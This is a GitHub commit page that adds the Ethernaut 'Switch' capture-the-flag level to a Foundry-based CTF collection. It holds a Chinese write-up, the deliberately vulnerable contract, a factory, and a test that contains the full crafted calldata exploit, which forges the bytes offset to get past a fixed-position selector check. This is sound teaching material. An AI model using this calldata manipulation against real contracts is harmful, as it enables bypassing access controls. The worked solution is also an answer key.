-
Notifications
You must be signed in to change notification settings - Fork 21
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #23 from Big-Aaron/main
添加Ethernaut Switch题目
- Loading branch information
Showing
5 changed files
with
165 additions
and
1 deletion.
There are no files selected for viewing
Submodule forge-std
updated
9 files
+1 −1 | lib/ds-test | |
+1 −1 | package.json | |
+8 −8 | src/StdAssertions.sol | |
+9 −9 | src/StdChains.sol | |
+10 −0 | src/StdCheats.sol | |
+1 −1 | src/StdUtils.sol | |
+15 −1 | src/Vm.sol | |
+58 −13 | test/StdAssertions.t.sol | |
+7 −0 | test/StdCheats.t.sol |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
# Switch | ||
|
||
## 题目描述 | ||
|
||
[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xb2aBa0e156C905a9FAEc24805a009d99193E3E53) | ||
|
||
打开合约中的开关。turn Switch On | ||
|
||
## 运行 | ||
|
||
根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: | ||
|
||
```sh | ||
$ cd WTF-CTF | ||
|
||
$ forge test -C src/Ethernaut/Switch -vvvvv | ||
``` | ||
|
||
## 功能简述 | ||
|
||
本题主要涉及`EVM`中对于`bytes`类型的编码。 | ||
|
||
`EVM`可以看作256位的虚拟机,每次取数据都取32字节(64个16进制位)数据。 | ||
|
||
如果调用`Switch`合约以关闭开关,我们需要构造的`calldata`如下 | ||
|
||
```hex | ||
0x30c13ade // flipSwitch(bytes) | ||
0000000000000000000000000000000000000000000000000000000000000020 // 位置信息 | ||
0000000000000000000000000000000000000000000000000000000000000004 // 长度信息 | ||
20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() | ||
``` | ||
|
||
`Switch`合约中的修饰器`onlyOff`通过查看`calldata`中的第68字节开始的4个字节的数据(即 20606e15)。来保证只能关闭开关。 | ||
|
||
至于为什么只查看第68字节开始的4个字节的数据。是因为`EVM`在编码`bytes`动态类型的数据时,添加了位置和长度信息(而位置和长度信息默认是连续且分别占据32个字节)。位置信息表示长度信息所在位置(基于bytes变量的偏移量),长度信息表示内容所占字节数量(bytes内容紧接长度信息后)。 | ||
|
||
而`Switch`合约中`flipSwitch`函数内部通过`call`调用自身函数时的`_data`是外部传入的,也就是说是可以伪造的。只需要保证伪造后`_data`的第68字节开始的4个字节是`turnSwitchOff()`的函数选择器即可。 | ||
|
||
所以,我们构造如下的`calldata` | ||
|
||
``` | ||
0x30c13ade // flipSwitch(bytes) | ||
0000000000000000000000000000000000000000000000000000000000000060 // 位置信息 | ||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff // 占位符, 内容无所谓,只需占32字节 | ||
20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() | ||
0000000000000000000000000000000000000000000000000000000000000004 // 长度信息 | ||
76227e1200000000000000000000000000000000000000000000000000000000 // turnSwitchOn() | ||
``` | ||
|
||
这样,保证了第68字节开始的4个字节是`turnSwitchOff()`的函数选择器。 | ||
|
||
此外`EVM`在解码bytes变量时,首先找位置信息0x60,即bytes变量的长度在0x60的偏移量位置(即 6 * 16个字节,从0开始计数)。长度信息为0x04,(即 4个字节),内容为0x76227e12。 | ||
|
||
通过伪造编码,骗过`Switch`合约对bytes类型的刻板编码印象。 | ||
|
||
此外,可以阅读[Solidity Tutorial : all about Bytes](https://jeancvllr.medium.com/solidity-tutorial-all-about-bytes-9d88fdb22676)和[Solidity Tutorial: All About Calldata](https://betterprogramming.pub/solidity-tutorial-all-about-calldata-aebbe998a5fc),获取更多关于bytes类型和calldata的内容。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
contract Switch { | ||
bool public switchOn; // switch is off | ||
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); | ||
|
||
modifier onlyThis() { | ||
require(msg.sender == address(this), "Only the contract can call this"); | ||
_; | ||
} | ||
|
||
modifier onlyOff() { | ||
// we use a complex data type to put in memory | ||
bytes32[1] memory selector; | ||
// check that the calldata at position 68 (location of _data) | ||
assembly { | ||
calldatacopy(selector, 68, 4) // grab function selector from calldata | ||
} | ||
|
||
require(selector[0] == offSelector, "Can only call the turnOffSwitch function"); | ||
_; | ||
} | ||
|
||
function flipSwitch(bytes memory _data) public onlyOff { | ||
(bool success,) = address(this).call(_data); | ||
require(success, "call failed :("); | ||
} | ||
|
||
function turnSwitchOn() public onlyThis { | ||
switchOn = true; | ||
} | ||
|
||
function turnSwitchOff() public onlyThis { | ||
switchOn = false; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import "forge-std/Test.sol"; | ||
import "./SwitchFactory.sol"; | ||
|
||
contract SwitchTest is Test { | ||
SwitchFactory factory; | ||
address switchInstance; | ||
|
||
function setUp() public { | ||
factory = new SwitchFactory(); | ||
switchInstance = factory.createInstance(address(this)); | ||
} | ||
|
||
function testSwitch() public { | ||
bytes memory data = abi.encodeWithSelector( | ||
bytes4(keccak256("flipSwitch(bytes)")), abi.encodeWithSelector(bytes4(keccak256("turnSwitchOff()"))) | ||
); | ||
/** | ||
* 0x30c13ade // selector of flipSwitch(bytes) | ||
* 0000000000000000000000000000000000000000000000000000000000000020 // offset of _data | ||
* 0000000000000000000000000000000000000000000000000000000000000004 // length of _data | ||
* 20606e1500000000000000000000000000000000000000000000000000000000 // selector of turnSwitchOff() | ||
*/ | ||
|
||
(bool success, bytes memory err) = switchInstance.call(data); | ||
if (!success) { | ||
console.logBytes(err); | ||
} | ||
assertTrue(!Switch(switchInstance).switchOn()); | ||
|
||
/** | ||
* 0x30c13ade // selector of flipSwitch(bytes) | ||
* 0000000000000000000000000000000000000000000000000000000000000060 // offset of _data | ||
* ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff // placeholder, content doesn't matter, length is 32 bytes | ||
* 20606e1500000000000000000000000000000000000000000000000000000000 // selector of turnSwitchOff() | ||
* 0000000000000000000000000000000000000000000000000000000000000004 // length of _data | ||
* 76227e1200000000000000000000000000000000000000000000000000000000 // selector of turnSwitchOn() | ||
*/ | ||
data = | ||
hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff20606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"; | ||
(success, err) = switchInstance.call(data); | ||
if (!success) { | ||
console.logBytes(err); | ||
} | ||
assertTrue(Switch(switchInstance).switchOn()); | ||
|
||
assertTrue(factory.validateInstance(payable(switchInstance), address(this))); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import "../base/Level.sol"; | ||
import "./Switch.sol"; | ||
|
||
contract SwitchFactory is Level { | ||
function createInstance(address _player) public payable override returns (address) { | ||
_player; | ||
Switch _switch = new Switch(); | ||
return address(_switch); | ||
} | ||
|
||
function validateInstance(address payable _instance, address _player) public view override returns (bool) { | ||
_player; | ||
Switch _switch = Switch(_instance); | ||
return _switch.switchOn(); | ||
} | ||
} |